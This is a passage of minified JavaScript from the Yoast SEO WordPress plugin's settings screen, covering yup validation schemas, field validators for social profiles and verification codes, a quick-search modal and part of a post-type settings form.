this.transform((e=>ii(e)?e:e.toLowerCase())).test({message:e,name:"string_case",exclusive:!0,test:e=>ii(e)||e===e.toLowerCase()})}uppercase(e=Mn.uppercase){return this.transform((e=>ii(e)?e:e.toUpperCase())).test({message:e,name:"string_case",exclusive:!0,test:e=>ii(e)||e===e.toUpperCase()})}}function hi(){return new yi}mi.prototype=fi.prototype;class yi extends ni{constructor(){super({type:"number"}),this.withMutation((()=>{this.transform((function(e){let t=e;if("string"==typeof t){if(t=t.replace(/\s/g,""),""===t)return NaN;t=+t}return this.isType(t)?t:parseFloat(t)}))}))}_typeCheck(e){return e instanceof Number&&(e=e.valueOf()),"number"==typeof e&&!(e=>e!=+e)(e)}min(e,t=Dn.min){return this.test({message:t,name:"min",exclusive:!0,params:{min:e},test(t){return ii(t)||t>=this.resolve(e)}})}max(e,t=Dn.max){return this.test({message:t,name:"max",exclusive:!0,params:{max:e},test(t){return ii(t)||t<=this.resolve(e)}})}lessThan(e,t=Dn.lessThan){return this.test({message:t,name:"max",exclusive:!0,params:{less:e},test(t){return ii(t)||t<this.resolve(e)}})}moreThan(e,t=Dn.moreThan){return this.test({message:t,name:"min",exclusive:!0,params:{more:e},test(t){return ii(t)||t>this.resolve(e)}})}positive(e=Dn.positive){return this.moreThan(0,e)}negative(e=Dn.negative){return this.lessThan(0,e)}integer(e=Dn.integer){return this.test({name:"integer",message:e,test:e=>ii(e)||Number.isInteger(e)})}truncate(){return this.transform((e=>ii(e)?e:0|e))}round(e){var t;let s=["ceil","floor","round","trunc"];if("trunc"===(e=(null==(t=e)?void 0:t.toLowerCase())||"round"))return this.truncate();if(-1===s.indexOf(e.toLowerCase()))throw new TypeError("Only valid options for round() are: "+s.join(", "));return this.transform((t=>ii(t)?t:Math[e](t)))}}hi.prototype=yi.prototype;var _i=/^(\d{4}|[+\-]\d{6})(?:-?(\d{2})(?:-?(\d{2}))?)?(?:[ T]?(\d{2}):?(\d{2})(?::?(\d{2})(?:[,\.](\d{1,}))?)?(?:(Z)|([+\-])(\d{2})(?::?(\d{2}))?)?)?$/;let wi=new Date("");function gi(){return new bi}class bi extends ni{constructor(){super({type:"date"}),this.withMutation((()=>{this.transform((function(e){return this.isType(e)?e:(e=function(e){var t,s,r=[1,4,5,6,7,10,11],a=0;if(s=_i.exec(e)){for(var o,n=0;o=r[n];++n)s[o]=+s[o]||0;s[2]=(+s[2]||1)-1,s[3]=+s[3]||1,s[7]=s[7]?String(s[7]).substr(0,3):0,void 0!==s[8]&&""!==s[8]||void 0!==s[9]&&""!==s[9]?("Z"!==s[8]&&void 0!==s[9]&&(a=60*s[10]+s[11],"+"===s[9]&&(a=0-a)),t=Date.UTC(s[1],s[2],s[3],s[4],s[5]+a,s[6],s[7])):t=+new Date(s[1],s[2],s[3],s[4],s[5],s[6],s[7])}else t=Date.parse?Date.parse(e):NaN;return t}(e),isNaN(e)?wi:new Date(e))}))}))}_typeCheck(e){return t=e,"[object Date]"===Object.prototype.toString.call(t)&&!isNaN(e.getTime());var t}prepareParam(e,t){let s;if(ei.isRef(e))s=e;else{let r=this.cast(e);if(!this._typeCheck(r))throw new TypeError(`\`${t}\` must be a Date or a value that can be \`cast()\` to a Date`);s=r}return s}min(e,t=Bn.min){let s=this.prepareParam(e,"min");return this.test({message:t,name:"min",exclusive:!0,params:{min:e},test(e){return ii(e)||e>=this.resolve(s)}})}max(e,t=Bn.max){let s=this.prepareParam(e,"max");return this.test({message:t,name:"max",exclusive:!0,params:{max:e},test(e){return ii(e)||e<=this.resolve(s)}})}}bi.INVALID_DATE=wi,gi.prototype=bi.prototype,gi.INVALID_DATE=wi;const vi=window.lodash.snakeCase;var Ei=s.n(vi);const xi=window.lodash.camelCase;var ki=s.n(xi);const Si=window.lodash.mapKeys;var Li=s.n(Si),Ti=s(4633),Fi=s.n(Ti);function $i(e,t){let s=1/0;return e.some(((e,r)=>{var a;if(-1!==(null==(a=t.path)?void 0:a.indexOf(e)))return s=r,!0})),s}function Pi(e){return(t,s)=>$i(e,t)-$i(e,s)}function Ri(){return Ri=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Ri.apply(this,arguments)}let Ni=e=>"[object Object]"===Object.prototype.toString.call(e);const Ii=Pi([]);class Oi extends ni{constructor(e){super({type:"object"}),this.fields=Object.create(null),this._sortErrors=Ii,this._nodes=[],this._excludedEdges=[],this.withMutation((()=>{this.transform((function(e){if("string"==typeof e)try{e=JSON.parse(e)}catch(t){e=null}return this.isType(e)?e:null})),e&&this.shape(e)}))}_typeCheck(e){return Ni(e)||"function"==typeof e}_cast(e,t={}){var s;let r=super._cast(e,t);if(void 0===r)return this.getDefault();if(!this._typeCheck(r))return r;let a=this.fields,o=null!=(s=t.stripUnknown)?s:this.spec.noUnknown,n=this._nodes.concat(Object.keys(r).filter((e=>-1===this._nodes.indexOf(e)))),i={},l=Ri({},t,{parent:i,__validating:t.__validating||!1}),c=!1;for(const e of n){let s=a[e],n=zn()(r,e);if(s){let a,o=r[e];l.path=(t.path?`${t.path}.`:"")+e,s=s.resolve({value:o,context:t.context,parent:i});let n="spec"in s?s.spec:void 0,d=null==n?void 0:n.strict;if(null==n?void 0:n.strip){c=c||e in r;continue}a=t.__validating&&d?r[e]:s.cast(r[e],l),void 0!==a&&(i[e]=a)}else n&&!o&&(i[e]=r[e]);i[e]!==r[e]&&(c=!0)}return c?i:r}_validate(e,t={},s){let r=[],{sync:a,from:o=[],originalValue:n=e,abortEarly:i=this.spec.abortEarly,recursive:l=this.spec.recursive}=t;o=[{schema:this,value:n},...o],t.__validating=!0,t.originalValue=n,t.from=o,super._validate(e,t,((e,c)=>{if(e){if(!Kn.isError(e)||i)return void s(e,c);r.push(e)}if(!l||!Ni(c))return void s(r[0]||null,c);n=n||c;let d=this._nodes.map((e=>(s,r)=>{let a=-1===e.indexOf(".")?(t.path?`${t.path}.`:"")+e:`${t.path||""}["${e}"]`,i=this.fields[e];i&&"validate"in i?i.validate(c[e],Ri({},t,{path:a,from:o,strict:!0,parent:c,originalValue:n[e]}),r):r(null)}));Zn({sync:a,tests:d,value:c,errors:r,endEarly:i,sort:this._sortErrors,path:t.path},s)}))}clone(e){const t=super.clone(e);return t.fields=Ri({},this.fields),t._nodes=this._nodes,t._excludedEdges=this._excludedEdges,t._sortErrors=this._sortErrors,t}concat(e){let t=super.concat(e),s=t.fields;for(let[e,t]of Object.entries(this.fields)){const r=s[e];void 0===r?s[e]=t:r instanceof ni&&t instanceof ni&&(s[e]=t.concat(r))}return t.withMutation((()=>t.shape(s,this._excludedEdges)))}getDefaultFromShape(){let e={};return this._nodes.forEach((t=>{const s=this.fields[t];e[t]="default"in s?s.getDefault():void 0})),e}_getDefault(){return"default"in this.spec?super._getDefault():this._nodes.length?this.getDefaultFromShape():void 0}shape(e,t=[]){let s=this.clone(),r=Object.assign(s.fields,e);return s.fields=r,s._sortErrors=Pi(Object.keys(r)),t.length&&(Array.isArray(t[0])||(t=[t]),s._excludedEdges=[...s._excludedEdges,...t]),s._nodes=function(e,t=[]){let s=[],r=new Set,a=new Set(t.map((([e,t])=>`${e}-${t}`)));function o(e,t){let o=(0,Xn.split)(e)[0];r.add(o),a.has(`${t}-${o}`)||s.push([t,o])}for(const t in e)if(zn()(e,t)){let s=e[t];r.add(t),ei.isRef(s)&&s.isSibling?o(s.path,t):qn(s)&&"deps"in s&&s.deps.forEach((e=>o(e,t)))}return Fi().array(Array.from(r),s).reverse()}(r,s._excludedEdges),s}pick(e){const t={};for(const s of e)this.fields[s]&&(t[s]=this.fields[s]);return this.clone().withMutation((e=>(e.fields={},e.shape(t))))}omit(e){const t=this.clone(),s=t.fields;t.fields={};for(const t of e)delete s[t];return t.withMutation((()=>t.shape(s)))}from(e,t,s){let r=(0,Xn.getter)(e,!0);return this.transform((a=>{if(null==a)return a;let o=a;return zn()(a,e)&&(o=Ri({},a),s||delete o[e],o[t]=r(a)),o}))}noUnknown(e=!0,t=Un.noUnknown){"string"==typeof e&&(t=e,e=!0);let s=this.test({name:"noUnknown",exclusive:!0,message:t,test(t){if(null==t)return!0;const s=function(e,t){let s=Object.keys(e.fields);return Object.keys(t).filter((e=>-1===s.indexOf(e)))}(this.schema,t);return!e||0===s.length||this.createError({params:{unknown:s.join(", ")}})}});return s.spec.noUnknown=e,s}unknown(e=!0,t=Un.noUnknown){return this.noUnknown(!e,t)}transformKeys(e){return this.transform((t=>t&&Li()(t,((t,s)=>e(s)))))}camelCase(){return this.transformKeys(ki())}snakeCase(){return this.transformKeys(Ei())}constantCase(){return this.transformKeys((e=>Ei()(e).toUpperCase()))}describe(){let e=super.describe();return e.fields=Qn()(this.fields,(e=>e.describe())),e}}function Ci(e){return new Oi(e)}function Ai(){return Ai=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Ai.apply(this,arguments)}function Mi(e){return new Di(e)}Ci.prototype=Oi.prototype;class Di extends ni{constructor(e){super({type:"array"}),this.innerType=void 0,this.innerType=e,this.withMutation((()=>{this.transform((function(e){if("string"==typeof e)try{e=JSON.parse(e)}catch(t){e=null}return this.isType(e)?e:null}))}))}_typeCheck(e){return Array.isArray(e)}get _subType(){return this.innerType}_cast(e,t){const s=super._cast(e,t);if(!this._typeCheck(s)||!this.innerType)return s;let r=!1;const a=s.map(((e,s)=>{const a=this.innerType.cast(e,Ai({},t,{path:`${t.path||""}[${s}]`}));return a!==e&&(r=!0),a}));return r?a:s}_validate(e,t={},s){var r,a;let o=[],n=t.sync,i=t.path,l=this.innerType,c=null!=(r=t.abortEarly)?r:this.spec.abortEarly,d=null!=(a=t.recursive)?a:this.spec.recursive,u=null!=t.originalValue?t.originalValue:e;super._validate(e,t,((e,r)=>{if(e){if(!Kn.isError(e)||c)return void s(e,r);o.push(e)}if(!d||!l||!this._typeCheck(r))return void s(o[0]||null,r);u=u||r;let a=new Array(r.length);for(let e=0;e<r.length;e++){let s=r[e],o=`${t.path||""}[${e}]`,n=Ai({},t,{path:o,strict:!0,parent:r,index:e,originalValue:u[e]});a[e]=(e,t)=>l.validate(s,n,t)}Zn({sync:n,path:i,value:r,errors:o,endEarly:c,tests:a},s)}))}clone(e){const t=super.clone(e);return t.innerType=this.innerType,t}concat(e){let t=super.concat(e);return t.innerType=this.innerType,e.innerType&&(t.innerType=t.innerType?t.innerType.concat(e.innerType):e.innerType),t}of(e){let t=this.clone();if(!qn(e))throw new TypeError("`array.of()` sub-schema must be a valid yup schema not: "+Cn(e));return t.innerType=e,t}length(e,t=Vn.length){return this.test({message:t,name:"length",exclusive:!0,params:{length:e},test(t){return ii(t)||t.length===this.resolve(e)}})}min(e,t){return t=t||Vn.min,this.test({message:t,name:"min",exclusive:!0,params:{min:e},test(t){return ii(t)||t.length>=this.resolve(e)}})}max(e,t){return t=t||Vn.max,this.test({message:t,name:"max",exclusive:!0,params:{max:e},test(t){return ii(t)||t.length<=this.resolve(e)}})}ensure(){return this.default((()=>[])).transform(((e,t)=>this._typeCheck(e)?e:null==t?[]:[].concat(t)))}compact(e){let t=e?(t,s,r)=>!e(t,s,r):e=>!!e;return this.transform((e=>null!=e?e.filter(t):e))}describe(){let e=super.describe();return this.innerType&&(e.innerType=this.innerType.describe()),e}nullable(e=!0){return super.nullable(e)}defined(){return super.defined()}required(e){return super.required(e)}}function Bi(e,t,s){if(!e||!qn(e.prototype))throw new TypeError("You must provide a yup schema constructor function");if("string"!=typeof t)throw new TypeError("A Method name must be provided");if("function"!=typeof s)throw new TypeError("Method function must be provided");e.prototype[t]=s}Mi.prototype=Di.prototype;const Ui=/^[A-Za-z0-9_-]+$/,Vi=/^[A-Fa-f0-9_-]+$/,ji=/^[A-Za-z0-9_]{1,25}$/,zi=/^https?:\/\/(?:www\.)?(?:twitter|x)\.com\/(?<handle>[A-Za-z0-9_]{1,25})\/?$/,qi=["image/jpeg","image/png","image/webp","image/gif"];Bi(hi,"isMediaTypeImage",(function(){return this.test("isMediaTypeImage",(0,Lt.__)("The selected file is not an image.","wordpress-seo"),(e=>{if(!e)return!0;const t=(0,a.select)(ea).selectMediaById(e);return!t||"image"===(null==t?void 0:t.type)}))})),Bi(hi,"isMediaMimeTypeAllowed",(function(){return this.test("isMediaMimeTypeAllowed",(0,Lt.__)("The selected media type is not valid. Supported types are: JPG, PNG, WEBP and GIF.","wordpress-seo"),(e=>{const t=(0,a.select)(ea).selectMediaById(e);return!t||qi.includes(t.mime)}))})),Bi(mi,"isValidTwitterUrlOrHandle",(function(){return this.test("isValidTwitterUrlOrHandle",(0,Lt.__)("The profile is not valid. Please use only 1-25 letters, numbers and underscores or enter a valid X URL.","wordpress-seo"),(e=>!e||ji.test(e)||zi.test(e)))}));const Wi=(e,t)=>Ci().shape({wpseo:Ci().shape({baiduverify:mi().matches(Ui,(0,Lt.__)("The verification code is not valid. Please use only letters, numbers, underscores and dashes.","wordpress-seo")),googleverify:mi().matches(Ui,(0,Lt.__)("The verification code is not valid. Please use only letters, numbers, underscores and dashes.","wordpress-seo")),msverify:mi().matches(Vi,(0,Lt.__)("The verification code is not valid. Please use only the letters A to F, numbers, underscores and dashes.","wordpress-seo")),yandexverify:mi().matches(Vi,(0,Lt.__)("The verification code is not valid. Please use only the letters A to F, numbers, underscores and dashes.","wordpress-seo")),search_character_limit:hi().required((0,Lt.__)("Please enter a number between 1 and 50.","wordpress-seo")).min(1,(0,Lt.__)("The number you've entered is not between 1 and 50.","wordpress-seo")).max(50,(0,Lt.__)("The number you've entered is not between 1 and 50.","wordpress-seo"))}),wpseo_social:Ci().shape({og_default_image_id:hi().isMediaTypeImage(),facebook_site:mi().url((0,Lt.__)("The profile is not valid. Please enter a valid URL.","wordpress-seo")),mastodon_url:mi().url((0,Lt.__)("The profile is not valid. Please enter a valid URL.","wordpress-seo")),twitter_site:mi().isValidTwitterUrlOrHandle(),other_social_urls:Mi().of(mi().url((0,Lt.__)("The profile is not valid. Please enter a valid URL.","wordpress-seo"))),pinterestverify:mi().matches(Vi,(0,Lt.__)("The verification code is not valid. Please use only the letters A to F, numbers, underscores and dashes.","wordpress-seo"))}),wpseo_titles:Ci().shape({open_graph_frontpage_image_id:hi().isMediaTypeImage(),company_logo_id:hi().isMediaTypeImage(),person_logo_id:hi().isMediaTypeImage(),...(0,le.reduce)(e,((e,{name:t,hasArchive:s})=>({...e,..."attachment"!==t&&{[`social-image-id-${t}`]:hi().isMediaTypeImage().isMediaMimeTypeAllowed()},...s&&{[`social-image-id-ptarchive-${t}`]:hi().isMediaTypeImage().isMediaMimeTypeAllowed()}})),{}),...(0,le.reduce)(t,((e,{name:t})=>({...e,[`social-image-id-tax-${t}`]:hi().isMediaTypeImage().isMediaMimeTypeAllowed()})),{}),"social-image-id-author-wpseo":hi().isMediaTypeImage().isMediaMimeTypeAllowed(),"social-image-id-archive-wpseo":hi().isMediaTypeImage().isMediaMimeTypeAllowed(),"social-image-id-tax-post_format":hi().isMediaTypeImage().isMediaMimeTypeAllowed()})}),Hi=new RegExp(/^input-wpseo_titles-(post_types|taxonomy)-(?<name>\S+)-(maintax|ptparent)$/is),Yi={fieldId:"DUMMY_ITEM"},Gi=({fieldId:t,fieldLabel:s})=>{const{isPostTypeOrTaxonomyBreadcrumbSetting:r,postTypeOrTaxonomyName:a}=(0,i.useMemo)((()=>{var e;const s=Hi.exec(t);return{isPostTypeOrTaxonomyBreadcrumbSetting:Boolean(s),postTypeOrTaxonomyName:null==s||null===(e=s.groups)||void 0===e?void 0:e.name}}),[t,Hi]);return r?(0,e.createElement)(e.Fragment,null,s,a&&(0,e.createElement)(l.Code,{className:"yst-ml-2 group-hover:yst-bg-primary-200 group-hover:yst-text-primary-800"},a)):s};Gi.propTypes={fieldId:ir().string.isRequired,fieldLabel:ir().string.isRequired};const Ki=({title:t,children:s})=>(0,e.createElement)("div",{className:"yst-border-t yst-border-slate-100 yst-p-6 yst-py-12 yst-space-3 yst-text-center yst-text-sm"},(0,e.createElement)("span",{className:"yst-block yst-font-semibold yst-text-slate-900"},t),s);Ki.propTypes={title:ir().node.isRequired,children:ir().node.isRequired};const Zi=({buttonId:t="button-search",modalId:s="modal-search"})=>{const[r,,,a,o]=(0,l.useToggleState)(!1),[n,c]=(0,i.useState)(""),d=aa("selectPreference",[],"userLocale"),u=aa("selectQueryableSearchIndex"),[p,m]=(0,i.useState)([]),f=(0,l.useSvgAria)(),h=et(),y=(0,i.useRef)(null),{platform:_,os:w}=(0,i.useMemo)((()=>{var e,t;return ra().parse(null===(e=window)||void 0===e||null===(t=e.navigator)||void 0===t?void 0:t.userAgent)}),[]),{isMobileMenuOpen:g,setMobileMenuOpen:b}=(0,l.useNavigationContext)(),[v,E]=(0,i.useState)(""),x=(0,i.useMemo)((()=>{switch(d){case"ko-KR":case"zh-CN":case"zh-HK":case"zh-TW":return 1;default:return 2}}),[d]);yn("meta+k",(e=>{e.preventDefault(),"desktop"!==(null==_?void 0:_.type)||r||g||a()}),{enableOnFormTags:!0,enableOnContentEditable:!0},[r,a,_,g]);const k=(0,i.useCallback)((({route:e,fieldId:t})=>{t!==Yi.fieldId&&(b(!1),o(),c(""),m([]),h(`${e}#${t}`))}),[o,c,b]),S=(0,i.useCallback)((0,le.debounce)((e=>{const t=(0,le.trim)(e);if(E(""),t.length<x)return E((0,Lt.__)("Search","wordpress-seo")),!1;const s=(0,le.split)(gn(t,d)," "),r=(0,le.reduce)(u,((e,t)=>{const r=(0,le.reduce)(s,((e,s)=>(0,le.includes)(null==t?void 0:t.keywords,s)?++e:e),0);return 0===r?e:[...e,{...t,hits:r}]}),[]),a=r.sort(((e,t)=>t.hits-e.hits)),o=(0,le.groupBy)(a,"route"),n=(0,le.values)(o).sort(((e,t)=>{const s=(0,le.reduce)(e,((e,t)=>(0,le.max)([e,t.hits])),0);return(0,le.reduce)(t,((e,t)=>(0,le.max)([e,t.hits])),0)-s}));(0,le.isEmpty)(r)?E((0,Lt.__)("No results found","wordpress-seo")):E((0,Lt.sprintf)(/* translators: %d expands to the number of results found. */
(0,Lt._n)("%d result found, use up and down arrow keys to navigate","%d results found, use up and down arrow keys to navigate",r.length,"wordpress-seo"),r.length)),m(n)}),100),[u,d,E]),L=(0,i.useCallback)((e=>{c(e.target.value),S(e.target.value)}),[c,S]),T=(0,i.useCallback)((({active:e})=>or()("yst-group yst-block yst-no-underline yst-text-sm yst-text-slate-800 yst-select-none yst-py-3 yst-px-4 hover:yst-bg-primary-600 hover:yst-text-white focus:yst-bg-primary-600 focus:yst-text-white",e&&"yst-text-white yst-bg-primary-600")),[]);return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("button",{id:t,type:"button",className:"yst-w-full yst-flex yst-items-center yst-bg-white yst-text-sm yst-leading-6 yst-text-slate-500 yst-rounded-md yst-border yst-border-slate-300 yst-shadow-sm yst-py-1.5 yst-pl-2 yst-pr-3 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-offset-2 focus:yst-ring-primary-500",onClick:a},(0,e.createElement)(en,{className:"yst-flex-none yst-w-5 yst-h-5 yst-mr-3 yst-text-slate-400",...f}),(0,e.createElement)("span",{className:"yst-overflow-hidden yst-whitespace-nowrap yst-text-ellipsis"},n||(0,Lt.__)("Quick search...","wordpress-seo")),"desktop"===(null==_?void 0:_.type)&&(0,e.createElement)("span",{className:"yst-ml-auto yst-flex-none yst-text-xs yst-font-semibold yst-text-slate-400"},"macOS"===(null==w?void 0:w.name)?(0,Lt.__)("⌘K","wordpress-seo"):(0,Lt.__)("CtrlK","wordpress-seo"))),(0,e.createElement)(l.Modal,{id:s,onClose:o,isOpen:r,initialFocus:y,position:"top-center","aria-label":(0,Lt.__)("Search","wordpress-seo")},(0,e.createElement)(l.Modal.Panel,{hasCloseButton:!1},(0,e.createElement)(eo,null,v&&(0,e.createElement)(lo,{message:v,"aria-live":"polite"})),(0,e.createElement)(Xo,{as:"div",className:"yst--m-6",onChange:k},(0,e.createElement)("div",{className:"yst-relative"},(0,e.createElement)(en,{className:"yst-pointer-events-none yst-absolute yst-top-3.5 yst-left-4 yst-h-5 yst-w-5 yst-text-slate-400",...f}),(0,e.createElement)(Xo.Input,{ref:y,id:"input-search",placeholder:(0,Lt.__)("Search...","wordpress-seo"),"aria-label":(0,Lt.__)("Search","wordpress-seo"),value:n,onChange:L,className:"yst-h-12 yst-w-full yst-border-0 yst-rounded-lg sm:yst-text-sm yst-bg-transparent yst-px-11 yst-text-slate-800 yst-placeholder-slate-500 focus:yst-outline-none focus:yst-ring-inset focus:yst-ring-2 focus:yst-ring-primary-500 focus:yst-border-primary-500"}),(0,e.createElement)("div",{className:"yst-modal__close"},(0,e.createElement)("button",{type:"button",onClick:o,className:"yst-modal__close-button"},(0,e.createElement)("span",{className:"yst-sr-only"},(0,Lt.__)("Close","wordpress-seo")),(0,e.createElement)(tn,{className:"yst-h-6 yst-w-6",...f})))),n.length>=x&&!(0,le.isEmpty)(p)&&(0,e.createElement)(Xo.Options,{static:!0,className:"yst-max-h-[calc(90vh-10rem)] yst-scroll-pt-11 yst-scroll-pb-2 yst-space-y-2 yst-overflow-y-auto yst-pb-2"},(0,le.map)(p,((t,s)=>{var r;return(0,e.createElement)("div",{key:(null==t||null===(r=t[0])||void 0===r?void 0:r.route)||`group-${s}`,role:"presentation"},(0,e.createElement)(l.Title,{id:`group-${s}-title`,as:"h4",size:"5",className:"yst-bg-slate-100 yst-font-semibold yst-py-3 yst-px-4",role:"presentation","aria-hidden":"true"},(0,le.first)(t).routeLabel),(0,e.createElement)("div",{role:"presentation"},(0,le.map)(t,(t=>(0,e.createElement)(Xo.Option,{key:t.fieldId,value:t,className:T},(0,e.createElement)(Gi,{...t}))))))}))),n.length<x&&(0,e.createElement)(Ki,{title:(0,Lt.__)("Search","wordpress-seo")},(0,e.createElement)("p",{className:"yst-text-slate-500"},(0,Lt.sprintf)(/* translators: %d expands to the minimum number of characters needed (numerical). */
(0,Lt.__)("Please enter a search term with at least %d characters.","wordpress-seo"),x))),n.length>=x&&(0,le.isEmpty)(p)&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)(Ki,{title:(0,Lt.__)("No results found","wordpress-seo")},(0,e.createElement)("p",{className:"yst-text-slate-500"},(0,Lt.__)("We couldn’t find anything with that term.","wordpress-seo"))),(0,e.createElement)(Xo.Options,{className:"yst-visible-"},(0,e.createElement)(Xo.Option,{value:Yi})))))))};Zi.propTypes={buttonId:ir().string,modalId:ir().string};const Ji=Zi,Qi=({error:t})=>{const s=(0,i.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),r=aa("selectLink",[],"https://yoa.st/settings-error-support");return(0,e.createElement)(hr,{error:t},(0,e.createElement)(hr.HorizontalButtons,{supportLink:r,handleRefreshClick:s}))};function Xi(t,s,r=""){return(0,i.createInterpolateElement)(t,{a:(0,e.createElement)("a",{id:r,href:s,target:"_blank",rel:"noopener noreferrer"})})}Qi.propTypes={error:ir().object.isRequired};const el=(t=>{const s=({name:s,isDummy:r=!1,...a})=>{const o=aa("selectDefaultSettingValue",[s],s);return r?(0,e.createElement)(t,{name:s,...a,disabled:!0,value:o,onChange:le.noop,tags:[],onAddTag:le.noop,onRemoveTag:le.noop}):(0,e.createElement)(t,{name:s,...a})};return s.propTypes={name:ir().string.isRequired,isDummy:ir().bool},s})(ba),tl=Ca(wa),sl=({name:t,label:s,singularLabel:r,hasArchive:a,hasSchemaArticleType:o,isNew:n})=>{const c=aa("selectReplacementVariablesFor",[t],t,"custom_post_type"),d=aa("selectUpsellSettingsAsProps"),u=aa("selectRecommendedReplacementVariablesFor",[t],t,"custom_post_type"),p=aa("selectReplacementVariablesFor",[t],`${t}_archive`,"custom-post-type_archive"),m=aa("selectRecommendedReplacementVariablesFor",[t],`${t}_archive`,"custom-post-type_archive"),f=aa("selectPreference",[],"isPremium"),h=aa("selectLink",[],"https://yoa.st/4cr"),y=aa("selectArticleTypeValuesFor",[t],t),_=aa("selectPageTypeValuesFor",[t],t),w=aa("selectPreference",[],"isWooCommerceActive"),g=aa("selectPreference",[],"hasWooCommerceShopPage"),b=aa("selectPreference",[],"editWooCommerceShopPageUrl"),v=aa("selectPreference",[],"wooCommerceShopPageSettingUrl"),E=aa("selectPreference",[],"userLocale"),x=aa("selectLink",[],"https://yoa.st/show-x"),k=aa("selectLink",[],"https://yoa.st/4e0"),S=aa("selectLink",[],"https://yoa.st/get-custom-fields"),L=aa("selectLink",[],"https://yoa.st/post-type-schema"),{updatePostTypeReviewStatus:T}=ta(),F=aa("selectPreference",[],"isWooCommerceSEOActive")&&"product"===t,$=(0,Lt.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,Lt.__)("You have %1$s activated on your site, automatically setting the Page type for your products to 'Item Page'. As a result, the Page type selection is disabled.","wordpress-seo"),"Yoast WooCommerce SEO");(0,i.useEffect)((()=>{n&&T(t)}),[t,T]);const P=(0,i.useMemo)((()=>gn(s,E)),[s,E]),R=(0,i.useMemo)((()=>gn(r,E)),[r,E]),N=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),I=(0,i.useMemo)((()=>w&&"product"===t),[t,w]),O=(0,i.useMemo)((()=>g?Xi((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("You can edit the SEO metadata for this custom type on the %1$sShop page%2$s.","wordpress-seo"),"<a>","</a>"),b,"link-edit-woocommerce-shop-page"):Xi((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("You haven't set a Shop page in your WooCommerce settings. %1$sPlease do this first%2$s.","wordpress-seo"),"<a>","</a>"),v,"link-woocommerce-shop-page-setting")),[g,v,b]),C=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <em> tags.
(0,Lt.__)("You can add multiple custom fields and separate them by using %1$senter%2$s or %1$scomma%2$s.","wordpress-seo"),"<em>","</em>"),{em:(0,e.createElement)("em",null)})),[]),A=(0,i.useMemo)((()=>Xi((0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts. %2$s and %3$s expand to opening and closing anchor tag. %4$s expands to "Yoast SEO".
(0,Lt.__)("Determine how your %1$s should be described by default in %2$syour site's Schema.org markup%3$s. You can always change the settings for individual %1$s in the %4$s sidebar or metabox.","wordpress-seo"),P,"<a>","</a>","Yoast SEO"),L,"link-post-type-schema")),[P,L]),{values:M}=q(),{opengraph:D}=M.wpseo_social,{"breadcrumbs-enable":B}=M.wpseo_titles;return(0,e.createElement)(uo,{title:s,description:(0,Lt.sprintf)(/* translators: %1$s expands to the post type plural, e.g. posts. */
(0,Lt.__)("Determine how your %1$s should look in search engines and on social media.","wordpress-seo"),P)},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts. %2$s expands to "Yoast SEO".
(0,Lt.__)("Determine what your %1$s should look like in the search results by default. You can always customize the settings for individual %1$s in the %2$s sidebar or metabox.","wordpress-seo"),P,"Yoast SEO")},(0,e.createElement)(ua,{name:`wpseo_titles.noindex-${t}`,id:`input-wpseo_titles-noindex-${t}`,label:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts.
(0,Lt.__)("Show %1$s in search results","wordpress-seo"),P),description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts.
(0,Lt.__)("Disabling this means that %1$s will not be indexed by search engines and will be excluded from XML sitemaps.","wordpress-seo"),P)," ",(0,e.createElement)(l.Link,{href:x,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about the search results settings","wordpress-seo")),"."),className:"yst-max-w-sm"}),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(wa,{type:"title",name:`wpseo_titles.title-${t}`,fieldId:`input-wpseo_titles-title-${t}`,label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:u}),(0,e.createElement)(wa,{type:"description",name:`wpseo_titles.metadesc-${t}`,fieldId:`input-wpseo_titles-metadesc-${t}`,label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:u,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,Lt.__)("Social media appearance","wordpress-seo")),f&&(0,e.createElement)(l.Badge,{variant:"upsell"},"Premium")),description:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts. %2$s expands to "Yoast SEO".
(0,Lt.__)("Determine how your %1$s should look on social media by default. You can always customize the settings for individual %1$s in the %2$s sidebar or metabox.","wordpress-seo"),P,"Yoast SEO")},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!f,variant:"card",cardLink:k,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
